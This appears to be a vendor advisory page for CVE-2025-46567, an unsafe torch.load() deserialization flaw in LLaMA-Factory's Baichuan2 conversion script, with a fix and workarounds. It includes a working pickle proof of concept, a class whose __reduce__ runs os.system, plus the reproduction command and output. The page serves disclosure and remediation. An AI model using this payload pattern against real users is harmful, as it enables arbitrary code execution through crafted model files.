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GHSA-f2f7-gj54-6vpv

MEDIUM

GHSA-f2f7-gj54-6vpv is a medium-severity (CVSS 6.1) Deserialization of Untrusted Data vulnerability in llamafactory. O3 Security confirms whether GHSA-f2f7-gj54-6vpv is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py

Also known asCVE-2025-46567PYSEC-2026-1574
Published
Apr 23, 2025
Updated
Jul 7, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐍llamafactory

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Description

A critical vulnerability exists in the llamafy_baichuan2.py script of the LLaMA-Factory project. The script performs insecure deserialization using torch.load() on user-supplied .bin files from an input directory. An attacker can exploit this behavior by crafting a malicious .bin file that executes arbitrary commands during deserialization.

Attack Vector

This vulnerability is exploitable without authentication or privileges when a user is tricked into:

  1. Downloading or cloning a malicious project folder containing a crafted .bin file (e.g. via zip file, GitHub repo).
  2. Running the provided conversion script llamafy_baichuan2.py, either manually or as part of an example workflow.

No elevated privileges are required. The user only needs to run the script with an attacker-supplied --input_dir.

Impact

  • Arbitrary command execution (RCE)
  • System compromise
  • Persistence or lateral movement in shared compute environments

Proof of Concept (PoC)

# malicious_payload.py
import torch, pickle, os

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ("mkdir HACKED!",))  # Arbitrary command

malicious_data = {
    "v_head.summary.weight": MaliciousPayload(),
    "v_head.summary.bias": torch.randn(10)
}

with open("value_head.bin", "wb") as f:
    pickle.dump(malicious_data, f)

An example of config.json:

{
  "model": "value_head.bin",
  "hidden_size": 4096,
  "num_attention_heads": 32,
  "num_hidden_layers": 24,
  "initializer_range": 0.02,
  "intermediate_size": 11008,
  "max_position_embeddings": 4096,
  "kv_channels": 128,
  "layer_norm_epsilon": 1e-5,
  "tie_word_embeddings": false,
  "vocab_size": 151936
}
(base) root@d6ab70067470:~/LLaMA-Factory_latest# tree
.
`-- LLaMA-Factory
    |-- LICENSE
    |-- README.md
    |-- malicious_folder
    |   |-- config.json
    |   `-- value_head.bin
    `-- xxxxx(Irrelevant documents omitted)
# Reproduction
python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out

➡️ Running this will execute the malicious payload and create a HACKED! folder.

(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls
CITATION.cff  LICENSE  MANIFEST.in  Makefile  README.md  README_zh.md  assets  data  docker  evaluation  examples  malicious_folder  pyproject.toml  requirements.txt  scripts  setup.py  src  tests
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out
2025-04-23 07:36:58.435304: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:477] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
E0000 00:00:1745393818.451398    1008 cuda_dnn.cc:8310] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered
E0000 00:00:1745393818.456423    1008 cuda_blas.cc:1418] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered
2025-04-23 07:36:58.472951: I tensorflow/core/platform/cpu_feature_guard.cc:210] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
Load weights:  50%|██████████████████████████████████████████████████████████████████████████████████▌                                                                                  | 1/2 [00:00<00:00, 123.70it/s]
Traceback (most recent call last):
  File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 112, in <module>
    fire.Fire(llamafy_baichuan2)
  File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 135, in Fire
    component_trace = _Fire(component, args, parsed_flag_args, context, name)
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 468, in _Fire
    component, remaining_args = _CallAndUpdateTrace(
                                ^^^^^^^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 684, in _CallAndUpdateTrace
    component = fn(*varargs, **kwargs)
                ^^^^^^^^^^^^^^^^^^^^^^
  File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 107, in llamafy_baichuan2
    save_weight(input_dir, output_dir, shard_size, save_safetensors)
  File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 35, in save_weight
    shard_weight = torch.load(os.path.join(input_dir, filepath), map_location="cpu")
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py", line 1040, in load
    return _legacy_load(opened_file, map_location, pickle_module, **pickle_load_args)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py", line 1260, in _legacy_load
    raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls
 CITATION.cff   LICENSE       Makefile    README_zh.md   data     evaluation   malicious_folder   pyproject.toml     scripts    src
'HACKED!'       MANIFEST.in   README.md   assets         docker   examples     out                requirements.txt   setup.py   tests

Affected File(s)

Suggested Fix

  • Replace torch.load() with safer alternatives like safetensors.
  • Validate and whitelist file types before deserialization.
  • Require checksum validation.

Example patch:

# Replace torch.load() with safe deserialization
try:
    from safetensors.torch import load_file
    tensor_data = load_file(filepath)
except Exception:
    print("Invalid or unsafe checkpoint file.")
    return

Workarounds

  • Avoid running the script with untrusted .bin files.
  • Use containers or VMs to isolate script execution.

References

Credits

Discovered and reported by Yu Rong and Hao Fan, 2025-04-23

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIllamafactoryall versions0.9.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for llamafactory. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update llamafactory to 0.9.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f2f7-gj54-6vpv is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-f2f7-gj54-6vpv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-f2f7-gj54-6vpv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Description A critical vulnerability exists in the `llamafy_baichuan2.py` script of the [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization. ### Attack Vector This vulnerability is **exploitable without authentication or privileges** when a user is tricked into: 1. Downloading or cloning a malicious project folder containing
O3 Security · Impact-Aware SCA

Is GHSA-f2f7-gj54-6vpv in your dependencies?

O3 detects GHSA-f2f7-gj54-6vpv across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.